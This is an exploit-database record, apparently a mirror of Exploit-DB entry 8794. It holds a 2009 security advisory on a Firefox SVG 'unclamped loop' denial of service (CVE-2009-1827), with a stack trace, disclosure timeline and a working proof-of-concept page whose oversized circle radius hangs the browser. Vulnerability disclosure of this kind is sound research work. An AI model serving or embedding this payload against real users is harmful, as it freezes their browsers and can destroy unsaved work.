{"exploit":{"id":"EDB-8794","name":"Mozilla Firefox - unclamped Loop Denial of Service (DoS)","description":"Mozilla Firefox - unclamped Loop Denial of Service (DoS)","cves":["CVE-2009-1827"],"author":"Thierry Zoller","published":"2009-05-26","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8794","path":"exploits/multiple/dos/8794.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8794.txt","vulnerabilities":[{"id":"CVE-2009-1827","state":"PUBLISHED","title":null,"titleSource":null,"description":"The SVG component in Mozilla Firefox 3.0.4 allows remote attackers to cause a denial of service (application hang) via a large value in the r (aka Radius) attribute of a circle element, related to an \"unclamped loop.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1827","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1827"},"updatedAt":"2024-08-07T05:27:54.396Z","retrievedAt":"2026-11-27T17:07:41.239Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8794.png?v=2","url":"https://exploitbin.com/exploits/EDB-8794","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8794/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8794/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"                           From the low-hanging-fruit-department\n     Firefox et al. Denial of Service - All versions supporting SVG\n________________________________________________________________________\n\nCHEAP Plug :\n************************************************************************\nYou are invited to participate in HACK.LU 2009, a small but concentrated\nluxemburgish security conference. More information : http://www.hack.lu\nCFP is open, sponsorship is still possible and warmly welcomed!\n************************************************************************\n\nRelease mode: Forced release.\nRef         : [TZO-26-2009] - Firefox DoS (unclamped loop) SVG\nWWW         : http://blog.zoller.lu/2009/04/advisory-firefox-dos-condition.html\nVendor      : http://www.firefox.com\nStatus      : No patch\nCVE         : none provided\nCredit      : none\nBugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=465615\n\nSecurity notification reaction rating : There wasn't any reaction. OSS Security notification FTW\nNotification to patch window : x+n\n\nDisclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html\n\nAffected products :\n- Firefox all supporting SVG (didn't care to investigate which, task of the vendor)\n- all software packages using mozilla engine and allowing SVG\n\nI. Background\n~~~~~~~~~~~~\nFirefox is a popular internet browser.\n\nII. Description\n~~~~~~~~~~~~~~\nThis bug is a typical result of what we call unclamped loop. An \"attacker\"\nwill give the Radius value of the Circle attribute a very big value. That\nis leetness.\n\nStack trace :\nntkrnlpa.exe+0x6e9ab\nntkrnlpa.exe!MmIsDriverVerifying+0xbb0\nhal.dll+0x2ef2\nxul.dll!NS_InvokeByIndex_P+0x30c36\nxul.dll!NS_InvokeByIndex_P+0x30e8a\nxul.dll!NS_InvokeByIndex_P+0x30e02\nxul.dll!NS_InvokeByIndex_P+0x30f5e\nxul.dll!XRE_InitEmbedding+0x7858\nxul.dll!XRE_InitEmbedding+0xf4ee\nxul.dll!XRE_TermEmbedding+0x11411\nxul.dll!gfxTextRun::Draw+0xdd4d\nxul.dll!gfxTextRun::Draw+0xe1ca\nxul.dll!gfxWindowsPlatform::PrefChangedCallback+0x1495\nxul.dll!gfxTextRun::SetSpaceGlyph+0x2678\nxul.dll!gfxFont::NotifyLineBreaksChanged+0xf1d3\nxul.dll!gfxWindowsPlatform::RunLoader+0xa9f6\nxul.dll!NS_StringCopy_P+0x9942\nxul.dll!gfxImageSurface::gfxImageSurface+0x3188\nxul.dll!gfxImageSurface::gfxImageSurface+0x2ed8\n\n\nAlso produces exceptions in MOZCRT19...\nMOZCRT19!modf+0x2570:\n600715e0 660f122550450960 movlpd  xmm4,qword ptr [MOZCRT19!exception::`vftable'+0x1a3d8 (60094550)] ds:0023:60094550=3fe62e42fefa39ef\n\nIII. Impact\n~~~~~~~~~~\nBrowser doesn't respond any longer to any user input, all tabs are no\nlonger accessible, your work if any  (hail to the web 2.0) might be lost.\n\nIV. Proof of concept (hold your breath)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n<html xmlns='http://www.w3.org/1999/xhtml'>\n<head>\n</head>\n<body>\n<svg xmlns='http://www.w3.org/2000/svg'><circle cx='10' cy='10' r='1.79769313486231E+308' fill='red' /></svg>\n</body></html>\n\nIV. Disclosure timeline\n~~~~~~~~~~~~~~~~~~~~~~~~\nDD/MM/YYYY\n18/11/2008 : Created bugzilla entry (security) with proof of concept,\n             description the terms under which ooperate and the planned disclosure date.\n\n24/22/2008 : Daniel Veditz comments : \"Might be a cairo bug rather than SVG\n             (seems to be looping in libthebes), but I can definitely confirm\n                         the DoS.\n\n14/12/2008 : Ask for any action plan and my assessement of considering it low risk\n\n             No reply.\n\n28/12/2008 : \"Timeless\" comments [..] personally, i intend to open this bug\n             to the public [..] a bug like this is more likely to be fixed\n                         by being visible to more people than by leaving it in a closet.\n\n26/05/2009 : In 2009 I agree; release of this advisory.\n\n# milw0rm.com [2009-05-26]","sha256":"7fd4298207a984405c1770ed7e4b853c9909f749393c2fde38b29fae0f17987c","bytes":3765,"fetchedAt":"2026-11-27T17:07:41.023Z","encoding":"utf-8 (display only; download retains original bytes)"}